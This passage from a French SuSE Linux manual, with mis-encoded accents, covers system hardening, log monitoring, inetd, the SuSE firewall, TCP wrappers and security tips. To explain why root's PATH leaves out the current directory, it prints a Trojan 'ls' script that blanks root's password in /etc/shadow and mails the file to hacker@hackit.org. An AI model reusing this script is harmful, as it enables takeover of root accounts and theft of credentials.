  30111.                            auxquelles vous devrez rΘpondre par oui ou par non (par exemple dΘsactiva-
  30112.                            tion de tous les services, accroissement de la sΘcuritΘ utilisateurs ou rΘduction
  30113.                            du nombre des fichiers suid et sgid). Votre systΦme sera alors reconfigurΘ en
  30114.                            fonction de vos rΘponses. Dans /etc/harden_suse.log, vous trouverez un
  30115.                            fichier de trace contenant les modifications et il sera en outre crΘe des copies
  30116.                            de sauvegarde des fichiers modifiΘs. Si votre systΦme devait ensuite se com-
  30117.                            porter d'une maniΦre imprΘvue, faites annuler ces modifications au moyen de
  30118.                            /etc/undo`harden`suse .
  30119.  
  30120.                            Le paquetage scslog, sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme)
  30121.                            contient  un  module  du  noyau  qui  aprΦs  son  chargement  (que  vous  pouvez
  30122.                            automatiser par une entrΘe par exemple dans les fichiers Startup) enregistre
  30123.                            toutes les communications rΘseau entrantes et sortantes.
  30124.  
  30125.                            Le paquetage secumod, sΘrie sec (logiciels relatifs α la sΘcuritΘ du systΦme)
  30126.                            contient  un  autre  module  qui  Θvite  ou  rend  plus  difficiles  les  attaques  dont
  30127.                            votre  systΦme  pourrait  Ωtre  la  cible.  Ceci  inclut  la  protection  contre  les  at-
  30128.                            taques visant les liens symboliques, les liens physiques et les pipes, les pro-
  30129.                            cessus dont la trace des appels systΦme ne peut plus Ωtre affichΘe (par strace     )
  30130.                            et d'autres choses encore. Comme ce paquetage est trΦs rΘcent et que sa do-
  30131.                            cumentation n'Θtait pas encore complΦte au moment de la mise sous presse
  30132.                            du prΘsent manuel, nous vous demandons de bien vouloir jeter un coup d'oeil
  30133.                            sur la documentation aujourd'hui disponible.
  30134.  
  30135.                            D'autres outils sont dΘjα en prΘparation.
  30136.  
  30137.  
  30138.  
  30139.                            Surfer parmi les fichiers de trace
  30140.  
  30141.                            Les  fichiers  dans  lesquels  le  systΦme  et  les  diffΘrents  programmes  Θcrivent
  30142.                            des donnΘes constituent une excellente source d'information. Il est question
  30143.                            ici des fichiers de trace ou fichiers log. Il est conseillΘ de lire rΘguliΦrement
  30144.                            au moins l'un d'entre eux, α savoir /var/log/messages. Sous SuSE     Linux,
  30145.                            c'est dans ce fichier que les programmes Θcrivent la plus grande partie des
  30146.                            informations.
  30147.  
  30148.                            Mais on n'a pas toujours le temps ni la motivation nΘcessaires pour fouiner
  30149.                            dans des fichiers dont la taille augmente continuellement. Il existe heureuse-
  30150.                            ment des programmes qui se chargent d'une bonne partie de ce travail ingrat.
  30151.                            L'un d'entre eux est logsurfer .
  30152.  
  30153.                            PilotΘ au moyen d'un fichier de configuration, logsurfer  assure un contr⌠le
  30154.                            continu des fichiers de trace. On peut dΘfinir les actions qui doivent succΘder
  30155.                            α certains messages, comme par exemple l'envoi d'un mail ou le lancement
  30156.                            d'un programme externe.
  30157.  
  30158.  
  30159. 474
  30160.        _________________________________________________________________________________________________________________18.2.__Outi*
  30161.  *ls____________________
  30162.  
  30163.  
  30164.  
  30165. Vous trouverez des exemples dans une trΦs bonne page de man de logsurfer.conf
  30166. (man  4  logsurfer.conf                ).
  30167.  
  30168.  
  30169. La variable PATH et l'utilisateur `root' : : :
  30170.  
  30171. Vous  avez  certainement  remarquΘ,  en  travaillant  sous  SuSE     Linux  en  tant
  30172. qu'utilisateur  `root',  que  le  rΘpertoire  courant  n'est  pas  dans  le  chemin
  30173. d'accΦs.  C'est la raison pour laquelle vous devez toujours faire prΘcΘder le
  30174. nom  du  programme  α  exΘcuter  d'un  point  suivi  d'une  barre  oblique  (./).
  30175. L'exemple suivant montre clairement pourquoi SuSE     Linux est configurΘ de
  30176. cette maniΦre :
  30177.  
  30178.   ~   Un  utilisateur  qui  travaille  sur  votre  systΦme  crΘe  le  script  de  shell  que
  30179.       vous voyez dans le fichier 18.2.1.
  30180.  
  30181.        _______________________________________________________________________________________________________________________||
  30182.        ||||||||#!/bin/sh                                                                                                       |
  30183.        ||||||||                                                                                                                |
  30184.        ||||||||                                                                                                                |
  30185.        ||||||||cp  /etc/shadow  /etc/shadow.system                                                                             |
  30186.        ||||||||cat  /etc/shadow.system  |  \                                                                                   |
  30187.        ||||||||       sed  's;\(^root:\)[^:]*\(:.*\);\1\2;'  >  /etc/shadow                                                    |
  30188.        ||||||||                                                                                                                |
  30189.        ||||||||#  rm  -f  /etc/shadow.system                                                                                   |
  30190.        ||||||||mailx  hacker@hackit.org  -s  "Root  Account  hacked"  <  /etc/shadow                                           |
  30191.        ||||||||                                                                                                                |
  30192.        ||||||||/bin/ls  $*                                                                                                     |
  30193.        ||||||||                                                                                                                |
  30194.        ||||||||_______________________________________________________________________________________________________________ |
  30195.  
  30196.               fichier 18.2.1: Script de shell pour piratage du compte root
  30197.  
  30198.  
  30199.   ~   Il dΘplace ce script vers /tmp/ls.
  30200.  
  30201.   ~   Si `root' change maintenant de rΘpertoire (commande cd) et s'il a insΘrΘ
  30202.       le rΘpertoire courant ~ dans ce cas /tmp ~ devant /bin dans la variable
  30203.       PATH,  le  script  en  question  sera  exΘcutΘ  α  la  place  de  /bin/ls.  Ceci
  30204.       entraεnera la suppression du mot de passe root et l'utilisateur recevra un
  30205.       message  lui  faisant  savoir  qu'il  a  maintenant  un  compte  root  sans  mot
  30206.       de passe sur votre machine. Ce n'est vraiment pas une perspective bien
  30207.       plaisante ;-)
  30208.  
  30209. Si le rΘpertoire courant ne s'Θtait pas trouvΘ dans le chemin d'accΦs, il vous
  30210. aurait fallu entrer ./ls     pour exΘcuter le script. Il est α noter qu'il s'agit ici
  30211. d'un ``cheval de Troie'' (voir page 469).
  30212.  
  30213.  
  30214. 18.2.2       Outils rΘseau
  30215.  
  30216. Il est sans aucun doute judicieux et mΩme impΘratif de contr⌠ler une machine
  30217. en rΘseau. Nous allons maintenant exposer ce qu'il faut faire pour protΘger
  30218. une machine Linux contre des attaques venant du rΘseau.
  30219.  
  30220.  
  30221. inetd
  30222.  
  30223. La  mesure  de  sΘcuritΘ  la  plus  ΘlΘmentaire  consiste  α  faire  preuve  de  pru-
  30224. dence en activant les services (ports) mis α disposition par inetd  (le ``super
  30225. serveur'' Internet ). Sous SuSE     Linux, quelques uns des services ``dangereux''
  30226. sont dΘsactivΘs par dΘfaut. Il s'agit ici des ``internal services'' du dΘmon inetd .
  30227.  
  30228.  
  30229.                                                                                                                                    *
  30230.  *   475
  30231. 18.  La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
  30232.  *_______________________________________@
  30233.  
  30234.  
  30235.  
  30236.                            Le fichier de configuration se trouve sous /etc/inetd.conf. Mais les autres
  30237.                            services doivent aussi Ωtre activΘs ou dΘsactivΘs avec prudence. Nous vous re-
  30238.                            commandons vivement de jeter un coup d'oeil dans le fichier de configuration
  30239.                            car POP3, par exemple, ainsi que d'autres services sont activΘs par dΘfaut ! Le
  30240.                            fichier 18.2.2 montre une liste des services qui devraient Ωtre suffisants dans
  30241.                            la majeure partie des cas.
  30242.  
  30243.                            ________________________________________________________________________________________________________*
  30244.  *________||
  30245.                            |ftp      stream  tcp  nowait  root     /usr/sbin/tcpd          wu.ftpd  -a                             *
  30246.  *         |
  30247.                            |telnet  stream  tcp  nowait  root     /usr/sbin/tcpd          in.telnetd                               *
  30248.  *         |
  30249.                            |shell   stream  tcp  nowait  root     /usr/sbin/tcpd          in.rshd  -L                              *
  30250.  *         |
  30251.                            |login   stream  tcp  nowait  root     /usr/sbin/tcpd          in.rlogind                               *
  30252.  *         |
  30253.                            |                                                                                                       *
  30254.  *         |
  30255.                            |finger  stream  tcp  nowait  nobody  /usr/sbin/tcpd          in.fingerd  -w                            *
  30256.  *         |
  30257.                            |ident   stream  tcp  wait     nobody  /usr/sbin/in.identd  in.identd  \                                *
  30258.  *         |
  30259.                            |           -w  -e  -t120                                                                               *
  30260.  *         |
  30261.                            |                                                                                                       *
  30262.  *         |
  30263.                            |_______________________________________________________________________________________________________*
  30264.  *________ |
  30265.  
  30266.                                         fichier 18.2.2: Exemple typique de configuration pour inetd
  30267.  
  30268.  
  30269.                            Vous devriez toutefois vous demander si vous avez vraiment besoin de ser-
  30270.                            vices tels que telnet , shell  et login . Ces services prΘsentent en effet l'incon-
  30271.                            vΘnient de permettre α un attaquant de lire la totalitΘ de vos donnΘes y compris
  30272.                            votre mot de passe. Il n'est mΩme pas nΘcessaire pour cela de possΘder des
  30273.                            connaissances trΦs poussΘes car il existe des programmes qui se chargent de
  30274.                            ce travail. Vous devriez donc veiller tout particuliΦrement α ce qu'il ne soit
  30275.                            pas  possible  d'accΘder  α  distance  α  votre  machine  sous  le  compte  `root'.
  30276.                            Pour cette raison, nous attirons encore une fois votre attention sur le ``Secure
  30277.                            Shell'' (paquetage ssh) Si vous utilisez ssh , la totalitΘ du message transmis
  30278.                            sera encryptΘe, y compris le mot de passe (+  Encryptage).
  30279.  
  30280.  
  30281.                            Le Firewall SuSE
  30282.  
  30283.                            ________________________________________________________________________________________________________*
  30284.  *________
  30285.                            |  Notre service d'Assistance Technique α l'Installation ne peut pas rΘpondre                           *
  30286.  *        |||
  30287.                            |                                                                                                       *
  30288.  *        |||
  30289.                            |  aux questions concernant le filtre de paquets Firewall SuSE    .                                     *
  30290.  *        |||
  30291.                            |_______________________________________________________________________________________________________*
  30292.  *________|||_
  30293.  
  30294.                            Le filtre de paquets Firewall SuSE     (paquetage firewals, sΘrie sec (logiciels
  30295.                            relatifs α la sΘcuritΘ du systΦme)) est activΘ et configurΘ au moyen du fichier
  30296.                            /etc/rc.firewall. Les diffΘrentes entrΘes sont documentΘes et commen-
  30297.                            tΘes dans le fichier. Afin de vous permettre un bon dΘbut mΩme si vous avez
  30298.                            encore peu d'expΘrience, nous allons expliciter certains dΘtails fondamentaux
  30299.                            concernant la mise en oeuvre du filtre de paquets Firewall SuSE    .
  30300.  
  30301.                            La famille de protocoles utilisΘe pour les communications Internet est connue
  30302.                            sous  le  nom  de  ``TCP/IP''.  Les  acronymes  TCP/IP  signifient  Transmission
  30303.                            Control Protocol et Internet Protocol. └ l'heure actuelle, TCP/IP est dispo-
  30304.                            nible pour presque toutes les plates-formes matΘrielles, systΦmes d'exploita-
  30305.                            tion et rΘseaux. Il a ΘtΘ dΘveloppΘ par le MinistΦre amΘricain de la DΘfense
  30306.                            (United States Department of Defence - DoD) et prΘsentΘ pour la premiΦre
  30307.                            fois au public en 1978.
  30308.  
  30309.                            Un  rΘseau  TCP/IP  permet  l'Θchange  d'informations  entre  diffΘrents  sys-
  30310.                            tΦmes  d'ordinateurs.  Il  rassemble  les  donnΘes  en  paquets,  appelΘs  aussi
  30311.                            datagrammes,  et  achemine  ensuite  ces  paquets.  Chaque  paquet  commence
  30312.  
  30313.  
  30314. 476
  30315.        _________________________________________________________________________________________________________________18.2.__Outi*
  30316.  *ls____________________
  30317.  
  30318.  
  30319.  
  30320. par un en-tΩte qui contient diffΘrentes informations telles que, par exemple,
  30321. l'adresse  de  la  machine  de  destination.  Cet  en-tΩte  est  suivi  des  donnΘes
  30322. α  transmettre.  Dans  le  cas,  par  exemple,  ou  un  fichier  doit  Ωtre  transportΘ
  30323. d'une  machine  vers  une  autre  α  travers  le  rΘseau,  le  contenu  de  ce  fichier
  30324. est  transformΘ  en  une  sΘrie  de  paquets  qui  sont  envoyΘs  α  la  machine  de
  30325. destination.
  30326.  
  30327. C'est le protocole TCP (angl. Transmission Control Protocol) qui assure une
  30328. transmission sans erreurs des paquets. Ce protocole veille par exemple α ce
  30329. que les paquets parviennent au destinataire dans un ordre exact. TCP consti-
  30330. tue  la  couche  de  transport  et  signale  α  la  couche  IP  supΘrieure  les  erreurs
  30331. auxquelles il n'est pas possible de remΘdier. Un autre protocole de transport
  30332. de cette famille est UDP. Ce protocole ne garantit pas une transmission sans
  30333. erreurs des paquets, ce qui le rend plus rapide que TCP. Mais lorsqu'on utilise
  30334. UDP il doit Ωtre garanti d'une autre maniΦre (par l'application) que les erreurs
  30335. de transmission seront reconnues et corrigΘes.
  30336.  
  30337. Une  adresse  IP  (IP  version  4)  est  une  valeur  de  32  bits.  Pour  rendre  les
  30338. adresses IP plus facilement lisibles, on les Θcrit en portions dΘcimales de 8 bits
  30339. sΘparΘes par des points (par exemple 192.168.0.20). Afin qu'une machine
  30340. puisse  gΘrer  simultanΘment  plusieurs  connexions  et  qu'il  soit  possible  de
  30341. diffΘrencier  ces  connexions  les  unes  des  autres,  la  communication  a  lieu  α
  30342. travers  des  ports  (de  0  α  65535).  Il  est  assignΘ  des  connexions  α  ces  ports,
  30343. ce qui signifie que l'on inscrit dans l'en-tΩte d'un paquet TCP ou UDP non
  30344. seulement  l'adresse  de  la  machine  expΘditrice  (adresse  source)  et  l'adresse
  30345. de la machine destinataire (adresse de destination) mais aussi le port source
  30346. et le port de destination. Une partie des ports de 0 α 65535 est par dΘfinition
  30347. rΘservΘe α certains services (voir /etc/services).
  30348.  
  30349. Le port TCP 23 est par exemple rΘservΘ aux connexions telnet. Une autre rΘ-
  30350. servation concerne les ports de 0 α 1023 (TCP et UDP). Il s'agit de ce que l'on
  30351. appelle les ports privilΘgiΘs. C'est sur ces ports que les programmes rΘputΘs
  30352. dignes de confiance, souvent exΘcutΘs avec les privilΦges de l'administrateur
  30353. systΦme (droits `root'), offrent leurs services (voir /etc/services).
  30354.  
  30355. Les ports de 1024 α 65535 sont considΘrΘs comme Θtant des ports non privilΘ-
  30356. giΘs. Cette diffΘrence peut Ωtre illustrΘe par un exemple quelque peu simplifiΘ.
  30357. Un serveur FTP propose ses services sur le port TCP 21. Si un client FTP est
  30358. dΘmarrΘ sur la machine avec l'adresse IP 192.168.3.5           (client) par la com-
  30359. mande
  30360.  
  30361.       tux@terre:/home/tux        >  ftp  192.168.3.16
  30362.  
  30363. le  client  Θtablira  une  connexion  TCP  avec  le  port  21  de  la  machine  avec
  30364. l'adresse IP 192.168.3.16            (serveur). Sur le port 21, le serveur FTP rΘpondra
  30365. et exΘcutera la procΘdure d'identification de l'utilisateur (demande du nom de
  30366. login et du mot de passe). Les commandes FTP lancΘes par l'utilisateur aprΦs
  30367. le login seront Θgalement transmises α travers cette connexion. Si des donnΘes
  30368. doivent  Ωtre  transmises  du  serveur  au  client  (aprΦs  entrΘe  de  la  commande
  30369. ls   ou de la commande get   ), le serveur Θtablira de lui-mΩme une connexion
  30370. avec  un  port  non  privilΘgiΘ  du  client.  C'est  par  cette  connexion  que  seront
  30371. transmises les donnΘes proprement dites.
  30372.  
  30373.  
  30374.                                                                                                                                    *
  30375.  *   477
  30376. 18.  La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
  30377.  *_______________________________________@
  30378.  
  30379.  
  30380.  
  30381.                            TCP/IP a ΘtΘ conτu pour des rΘseaux de trΦs grande taille et inclut de ce fait
  30382.                            des mΘcanismes de structuration d'un rΘseau. La totalitΘ de la zone d'adresses
  30383.                            de  32  bits  peut  Ωtre  subdivisΘe  en  ``sous-rΘseaux''.  La  formation  des  sous-
  30384.                            rΘseaux se fait en dΘclarant qu'un certain nombre de bits (en commenτant par
  30385.                            la gauche) constituent l'adresse d'un sous-rΘseau. Dans un sous-rΘseau ayant
  30386.                            l'adresse  192.168.3.0          ,  les  24  premiers  bits  constituent  l'adresse  rΘseau.
  30387.                            Le  masque  de  sous-rΘseau  255.255.255.0             dΘtermine  par  exemple  que  la
  30388.                            machine dont l'adresse est 192.168.3.5           se trouve dans le sous-rΘseau avec
  30389.                            l'adresse 192.168.3.0          .
  30390.  
  30391.                            └ l'intΘrieur d'un grand rΘseau, les sous-rΘseaux sont gΘnΘralement reliΘs par
  30392.                            des routeurs. Les routeurs sont soit des pΘriphΘriques spΘcialisΘs, soit des ma-
  30393.                            chines spΘcialement ΘquipΘes qui veillent α ce que les paquets prennent le bon
  30394.                            chemin et arrivent bien α destination. Le pendant du masque de sous-rΘseau
  30395.                            est l'adresse de diffusion (angl. broadcast). Cette adresse de diffusion permet
  30396.                            de contacter toutes les machines d'un sous-rΘseau. Exemple : Toutes les ma-
  30397.                            chines du rΘseau 192.168.3.0           peuvent Ωtre contactΘes α travers l'adresse de
  30398.                            diffusion 192.168.3.255            .
  30399.  
  30400.                            Si  votre  raccordement  α  Internet  est  rΘalisΘ,  votre  machine  est  devenue  un
  30401.                            ΘlΘment  de  ce  grand  rΘseau  mondial.  DΦs  que  la  connexion  au  fournisseur
  30402.                            d'accΦs  est  activΘe,  celui-ci  est  accessible  α  partir  d'Internet.  Il  s'agit  donc
  30403.                            maintenant  de  prendre  les  mesures  nΘcessaires  pour  parer  α  des  accΦs  non
  30404.                            autorisΘs.|Cette tΓche est assumΘe par le filtre de paquets Firewall SuSE    .                          *
  30405.  *         |
  30406.                            ________________________________________________________________________________________________________*
  30407.  *________||||
  30408.                            |                                                                                                       *
  30409.  *        |||
  30410.                            |  Les filtres de paquets sont des pare-feu (angl. firewalls) de niveau rΘseau.                         *
  30411.  *        |||
  30412.                            |  Ils  prennent  leurs  dΘcisions  en  se  basant  par  principe  sur  les  adresses                   *
  30413.  *        |||
  30414.                            |                                                                                                       *
  30415.  *        |||
  30416.                            |  sources,  les  adresses  de  destinations  et  les  ports  dans  les  diffΘrents  pa-                *
  30417.  *        |||
  30418.                            |  quets  IP.  Un  simple  routeur  ou  le  filtre  de  paquets  Firewall  SuSE     sont                *
  30419.  *        |||
  30420.                            |                                                                                                       *
  30421.  *        |||
  30422.                            |  des  pare-feu  traditionnels  de  niveau  rΘseau.  Comme  il  ne  sont  pas  assez                   *
  30423.  *        |||
  30424.                            |                                                                                                       *
  30425.  *        |||
  30426.                            |  intelligents  pour  juger  de  l'importance  que  peut  avoir  le  contenu  d'un                     *
  30427.  *        |||
  30428.                            |  paquet  IP  ni  pour  en  dΘterminer  la  provenance  exacte,  ils  n'offrent  pas                   *
  30429.  *        |||
  30430.                            |                                                                                                       *
  30431.  *        |||
  30432.                            |  une  protection  absolument  complΦte  contre  les  attaques.  Certains  pare-                       *
  30433.  *        |||
  30434.                            |  feu rΘseau modernes pour Linux (tel que par exemple SINUS Firewall I ,                               *
  30435.  *        |||
  30436.                            |                                                                                                       *
  30437.  *        |||
  30438.                            |  http://www.sinusfirewall.org) sont plus sophistiquΘs et recueillent                                  *
  30439.  *        |||
  30440.                            |                                                                                                       *
  30441.  *        |||
  30442.                            |  des informations internes sur le statut des connexions qui passent par eux,                          *
  30443.  *        |||
  30444.                            |  le contenu des flux de donnΘes, etc. Par contre, les pare-feu de niveau ap-                          *
  30445.  *        |||
  30446.                            |                                                                                                       *
  30447.  *        |||
  30448.                            |  plication (par exemple TIS Firewall Toolkit ) sont en gΘnΘral des machines                           *
  30449.  *        |||
  30450.                            |  sur  lesquelles  tournent  des  serveurs  proxy  qui  enregistrent  et  contr⌠lent                   *
  30451.  *        |||
  30452.                            |                                                                                                       *
  30453.  *        |||
  30454.                            |  soigneusement le trafic de donnΘes qui passe par eux. Comme les serveurs                             *
  30455.  *        |||
  30456.                            |  proxy sont des programmes qui tournent sur le pare-feu, ils se prΩtent de fa-                        *
  30457.  *        |||
  30458.                            |                                                                                                       *
  30459.  *        |||
  30460.                            |  τon idΘale aux tΓches d'enregistrement et de protection contre les attaques.                         *
  30461.  *        |||
  30462.                            |_______________________________________________________________________________________________________*
  30463.  *________|||_
  30464.  
  30465.  
  30466.  
  30467.                            O∙  mettre  en  oeuvre  le  filtre  de  paquets  Firewall  SuSE     ?    Pour  les  rΘ-
  30468.                            seaux qui requiΦrent une norme de protection particuliΦrement ΘlevΘe (c'est
  30469.                            en fait le cas partout o∙ des donnΘes de caractΦre personnel sont stockΘes), ce
  30470.                            sont les pare-feu de niveau application qui, de par leur principe de fonction-
  30471.                            nement, constituent le meilleur choix. Pour de tels rΘseaux, le filtre de paquets
  30472.                            Firewall SuSE     n'offre pas une protection suffisante.
  30473.  
  30474.  
  30475. 478
  30476.        _________________________________________________________________________________________________________________18.2.__Outi*
  30477.  *ls____________________
  30478.  
  30479.  
  30480.  
  30481. Le filtre de paquets Firewall SuSE     a ΘtΘ conτu pour assurer la protection d'un
  30482. PC  privΘ,  d'un  mini-rΘseau  domestique  ou  d'une  station  de  travail  dans  un
  30483. environnement rΘseau digne de confiance.
  30484.  
  30485. Pour la protection d'un rΘseau d'entreprise, vous ne devriez utiliser le filtre de
  30486. paquets Firewall SuSE     que si vous savez exactement ce que vous faites (voir
  30487. la bibliographie).
  30488.  
  30489. La mise en place et la maintenance de pare-feu requiΦrent des connaissances
  30490. approfondies dans le domaine des rΘseaux et des protocoles rΘseau. Une in-
  30491. terface graphique ou une configuration prΘdΘfinie comme le filtre de paquets
  30492. Firewall SuSE     ne peuvent pas remplacer ces connaissances absolument indis-
  30493. pensables.
  30494.  
  30495. Vous trouverez la documentation concernant le filtre de paquet Firewall SuSE
  30496. dans /usr/doc/packages/firewals et /etc/rc.firewall.
  30497.  
  30498. Le  projet  Freefire,  auquel  vous  pouvez  vous  adresser,  constitue  une  bonne
  30499. source   d'informations   pour   tous   ceux   qui   s'intΘressent   aux   firewalls
  30500. sur  la  base  des  logiciels  libre  (http://sites.inka.de/sites/lina/
  30501. freefire-l/index.en.html).
  30502.  
  30503.  
  30504.  
  30505. Le TCP-Wrapper
  30506.  
  30507. Le TCP-Wrapper (tcpd ) permet d'accorder l'accΦs α certains services pour
  30508. des rΘseaux ou adresses IP dΘterminΘs. tcpd  est dΘjα inclus dans SuSE     Linux
  30509. comme  vous  pouvez  le  voir  dans  le  fichier  18.2.2  page  476  ainsi  que  dans
  30510. /etc/inetd.conf α la 6Φme colonne. Le concept est trΦs simple : tcpd lance
  30511. les services demandΘs aprΦs avoir contr⌠lΘ si le client est autorisΘ α y accΘder.
  30512.  
  30513. Ce  contr⌠le  d'accΦs  est  gΘrΘ  par  les  deux  fichiers  /etc/hosts.allow  et
  30514. /etc/hosts.deny.
  30515.  
  30516.  
  30517.   ~   L'accΦs  est  accordΘ  si  la  combinaison  client/service  se  trouve  dans  le
  30518.       fichier /etc/hosts.allow.
  30519.  
  30520.   ~   L'accΦs  est  refusΘ  si  cette  combinaison  se  trouve  dans  le  fichier  /etc/
  30521.       hosts.deny.
  30522.  
  30523.   ~   S'il n'existe aucune rΦgle ni dans l'un ni dans l'autre des fichiers, l'accΦs
  30524.       est accordΘ.
  30525.        _______________________________________________________________________________________________________________________||
  30526.        ||||||||  La  premiΦre  rΦgle  trouvΘe  est  mise  en  application.  Cela  signifie  que  si             |||            |
  30527.        ||||||||                                                                                                 ||             |
  30528.        ||||||||  par  exemple  l'accΦs  α  un  port  Telnet  est  autorisΘ  dans  le  fichier  /etc/            ||             |
  30529.        ||||||||  hosts.allow,  l'accΦs  sera  accordΘ  mΩme  s'il  est  refusΘ  dans  le  fichier               ||             |
  30530.        ||||||||                                                                                                 ||             |
  30531.        ||||||||  /etc/hosts.deny.                                                                               ||             |
  30532.        ||||||||_______________________________________________________________________________________________________________||_
  30533.  
  30534. Dans la page de man de hosts_access            (man  5  hosts_access               ), vous trou-
  30535. verez une description de la syntaxe de ces fichiers.
  30536.  
  30537. Une  alternative  α  la  combinaison  TCP-Wrapper/inetd  est  constituΘe  par  xi-
  30538. netd  (paquetage xinetd, sΘrie n (support rΘseau)). qui rΘunit les fonctionna-
  30539. litΘs de inetd  et tcpd . Il existe toutefois un inconvΘnient qui est l'incompati-
  30540. bilitΘ des fichiers de configuration inetd  et xinetd .
  30541.  
  30542.  
  30543.                                                                                                                                    *
  30544.  *   479
  30545. 18.  La sΘcuritΘ est_une_question_de_confiance_____________________________________________________________________________________*
  30546.  *_______________________________________@
  30547.  
  30548.                            ________________________________________________________________________________________________________*
  30549.  *________
  30550.                            |  Il n'est possible de dΘmarrer que l'un des deux ``super-serveurs'' Internet.                         *
  30551.  *        |||
  30552.                            |                                                                                                       *
  30553.  *        |||
  30554.                            |  Vous devez donc vous dΘcider pour l'un ou pour l'autre.                                              *
  30555.  *        |||
  30556.                            |_______________________________________________________________________________________________________*
  30557.  *________|||_
  30558.  
  30559.                            Dans  la  sΘrie  sec  (logiciels  relatifs  α  la  sΘcuritΘ  du  systΦme),  vous  trouve-
  30560.                            rez d'autres programmes qui vous aideront α construire un systΦme sΘcurisΘ.
  30561.                            Fouinez tout simplement parmi tous les paquetages de cette sΘrie.
  30562.  
  30563.  
  30564.  
  30565.                            18.3        SΘcuritΘ sous SuSE        Linux
  30566.  
  30567.                            SuSE     propose les services suivants dans le but de fournir une distribution qui
  30568.                            rΘponde le mieux possible aux critΦres de sΘcuritΘ :
  30569.  
  30570.  
  30571.                            Deux listes de diffusions ouvertes α tous :
  30572.  
  30573.                              ~   suse-security-announce ~ contient les annonces SuSE     relatives aux
  30574.                                  questions de sΘcuritΘ.
  30575.  
  30576.                              ~   suse-security  ~  contient  les  annonces  et  accueille  aussi  des  discus-
  30577.                                  sions ouvertes α tous.
  30578.  
  30579.                            Pour vous abonner α l'une des deux listes de diffusion, il vous suffit d'adres-
  30580.                            ser un E-mail vide α suse-security-subscribe@suse.com ou α suse-security-
  30581.                            announce-subscribe@suse.com.
  30582.  
  30583.  
  30584.                            Centralisation  des  messages  relatifs  aux  nouveaux  problΦmes  de  sΘcu-
  30585.                            ritΘ :
  30586.  
  30587.                            Si vous rencontrez un nouveau problΦme de sΘcuritΘ (vΘrifiez auparavant les
  30588.                            mises  α  jour  disponibles),  envoyez  α  security@suse.de  un  E-mail  dΘcrivant
  30589.                            ce  problΦme.  Nous  le  traiterons  immΘdiatement.  Vous  pouvez  encoder  les
  30590.                            donnΘes  avec  le  paquetage  pgp  (+  Encryptage).  Notre  public  pgp  key            6
  30591.                            peut Ωtre tΘlΘchargΘe sous http://www.suse.de/security
  30592.  
  30593.  
  30594.  
  30595.                            18.4        Informations d'ordre gΘnΘral
  30596.  
  30597.                             1.   Le compte `root' ne devrait Ωtre utilisΘ que pour des tΓches relatives α
  30598.                                  l'administration du systΦme. Pour le travail quotidien, il est recommandΘ
  30599.                                  de crΘer un compte utilisateur.
  30600.  
  30601.                             2.   ╔vitez d'utiliser telnet      , rlogin       et rsh   .
  30602.  
  30603.                             3.   Utilisez α la place ssh    lorsque vous devez travailler α distance.
  30604.  
  30605.                             4.   DΘsactivez tous les services rΘseau qui ne sont pas indispensables.
  30606.  
  30607.                             5.   Mettez rΘguliΦrement α jour les paquetages qui jouent un r⌠le important
  30608.                                  dans la sΘcuritΘ de votre systΦme, tels que le paquetage bind, le paquetage
  30609.                                  sendmail et le paquetage ssh.
  30610.  
  30611.                             6.   Supprimez, dans tous les fichiers du systΦme, les bits suid et sgid qui ne
  30612.                                  sont pas absolument indispensables au travail d'un utilisateur normal.
  30613.  
  30614.                             7.   VΘrifiez rΘguliΦrement vos fichiers de trace.
  30615.  
  30616.                            _____________________________________________6
  30617.                              PGP Key fingerprint = 73 5F 2E 99 DF DB 94 C4 8F 5A A3 AE AF 22 F2 D5
  30618.  
  30619.  
  30620. 480
  30621.  
  30622.                                                                                                       Chapitre  19
  30623.                                                                     DΘbuts   sous   Linux
  30624.  
  30625.  
  30626. Unix est un systΦme d'une telle complexitΘ que nous ne pouvons tenir compte
  30627. ici que de ses aspects essentiels. Le prΘsent manuel n'a pas ΘtΘ conτu pour
  30628. remplacer une documentation Linux ou Unix dΘjα existante. Ce n'est pas son
  30629. objectif et ce serait de toute faτon impossible.
  30630.  
  30631. Nous recommandons en tout cas aux utilisateurs de DOS qui veulent passer
  30632. α Linux de se procurer un manuel adΘquat. Vous trouverez des titres dans la
  30633. bibliographie en annexe. Si vous possΘdez dΘjα des livres sur Unix non spΘ-
  30634. cifiques α Linux, ils peuvent Θventuellement suffirent du fait que la majeure
  30635. partie des informations n'est pas strictement liΘe au systΦme.
  30636.  
  30637. Certains livres ou extraits de livres soumis aux termes de la GPL  sont dispo-
  30638. nibles sous forme de fichiers .dvi ou fichiers PostScript dans le paquetage
  30639. doc, sΘrie books. Ils peuvent Ωtre visualisΘs sous X11 avec XDvi  (xdvi    ) ou
  30640. avec Ghostview  (gv  ) et peuvent Ωtre imprimΘs entiΦrement ou partiellement
  30641. avec lpr .
  30642.  
  30643. Mais  en  attendant  d'avoir  en  mains  votre  livre  Unix,  vous  devriez  lire  les
  30644. informations qui suivent. Elles vous donneront trΦs probablement envie d'ap-
  30645. profondir davantage.
  30646.  
  30647. En tant que nouveau venu sous Unix, vous devriez, aprΦs avoir menΘ votre
  30648. installation α bonne fin, vous connecter α votre systΦme sous le nom d'utili-
  30649. sateur que vous avez dΘfini lors de l'installation et non pas sous le compte
  30650. `root'.  Non  seulement  parce  que  vous  trouverez  ainsi  un  bon  nombre  de
  30651. paramΦtres  prΘdΘfinis  qui  vous  faliciteront  les  dΘbuts  mais  aussi  parce  que
  30652. vous  ne  serez  responsable  que  de  votre  +  rΘpertoire  personnel  (angl.  home
  30653. directory) ainsi qu'il est d'usage sous les systΦmes Unix. Cette mΘthode, qui
  30654. consiste α travailler sous un nom d'utilisateur, a pour but de garantir la sΘ-
  30655. curitΘ  du  systΦme.  Le  risque  d'effacer  ou  de  modifier  par  inadvertance  des
  30656. fichiers importants pour le systΦme est pratiquement ΘliminΘ.
  30657.        _______________________________________________________________________________________________________________________||
  30658.        ||||||||  L'option undelete        disponible sous DOS n'existe pas (encore) sous Linux                  |||            |
  30659.        ||||||||  et vous serez Θventuellement obligΘ, si vous effacez ou modifiez involon-                      ||             |
  30660.        ||||||||                                                                                                 ||             |
  30661.        ||||||||  tairement un fichier, de procΘder α une nouvelle installation complΦte.                        ||             |
  30662.        ||||||||_______________________________________________________________________________________________________________||_
  30663.  
  30664. Les  premiers  pas  sous  Linux  semblent  parfois  difficiles  car  un  dΘbutant  se
  30665. voit  confrontΘ  dΦs  son  premier  contact  avec  Linux  α  la  tΓche  extrΩmement
